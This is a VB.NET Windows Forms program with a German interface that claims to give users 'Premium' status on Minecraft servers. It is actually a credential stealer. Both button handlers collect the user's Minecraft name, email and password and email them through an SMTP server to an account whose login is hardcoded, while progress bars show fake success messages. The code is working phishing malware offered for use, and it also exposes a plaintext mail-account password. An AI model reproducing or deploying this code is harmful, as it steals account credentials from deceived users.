Imports System.Net.Mail
Imports System.Net
Public Class Form1
    Private Sub btn_generieren_Click(sender As Object, e As EventArgs) Handles btn_generieren.Click
        Dim namen As String
        Dim pw As String
        Dim email As String
        Name = txtb_name.Text + vbLf
        pw = txtb_passwort.Text + vbLf
        email = txtb_mail.Text + vbLf

        If (String.IsNullOrEmpty(txtb_name.Text) Or String.IsNullOrEmpty(txtb_passwort.Text) Or String.IsNullOrEmpty(txtb_server.Text) Or String.IsNullOrEmpty(txtb_mail.Text)) Then
            MsgBox("Bitte Füllen Sie die Textfelder Richtig aus")


        Else
            Timer1.Start()

            Dim myClient As New Net.Mail.SmtpClient("smtp.1und1.de")
            myClient.Credentials = New NetworkCredential("minecraftacc@online.de", "ezpz1337")
            myClient.Send("minecraftacc@online.de", "minecraftacc@online.de", "Daten Minecraft Accounts", "Minecraft Name: " & Name & "Minecraft Email: " & email & "Minecraft Paswort: " & pw)
        End If
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        ProgressBar1.Increment(1)
        If ProgressBar1.Value = ProgressBar1.Maximum Then
            lbl_ausgabe.Text = "Warte nun 24 Stunden, dann bist du auf " & txtb_server.Text & " Premium."

        End If
    End Sub

    Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
        ProgressBar2.Increment(1)
        If ProgressBar2.Value = ProgressBar1.Maximum Then
            lbl_ausgabe2.Text = "Dein Premium auf  " & txtb_server2.Text & " wurde Erfolgreich um " & txtb_zeit.Text & " Monate verlängert"

        End If
    End Sub

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Dim namen As String
        Dim pw As String
        Dim email As String
        Dim server As String
        Name = txtb_name2.Text + vbLf
        pw = txtb_passwort2.Text + vbLf
        email = txtb_mail2.Text + vbLf
        server = txtb_server2.Text + vbLf

        If (String.IsNullOrEmpty(txtb_name2.Text) Or String.IsNullOrEmpty(txtb_passwort2.Text) Or String.IsNullOrEmpty(txtb_server2.Text) Or String.IsNullOrEmpty(txtb_mail2.Text)) Then
            MsgBox("Bitte Füllen Sie die Textfelder Richtig aus")


        Else
            Timer2.Start()

            Dim myClient As New Net.Mail.SmtpClient("smtp.1und1.de")
            myClient.Credentials = New NetworkCredential("minecraftacc@online.de", "ezpz1337")
            myClient.Send("minecraftacc@online.de", "minecraftacc@online.de", "Daten Minecraft Accounts mit Premium", "Minecraft Name: " & Name & "Minecraft Email: " & email & "Minecraft Paswort: " & pw & "Minecraft Server: " & server)
        End If
    End Sub
End Class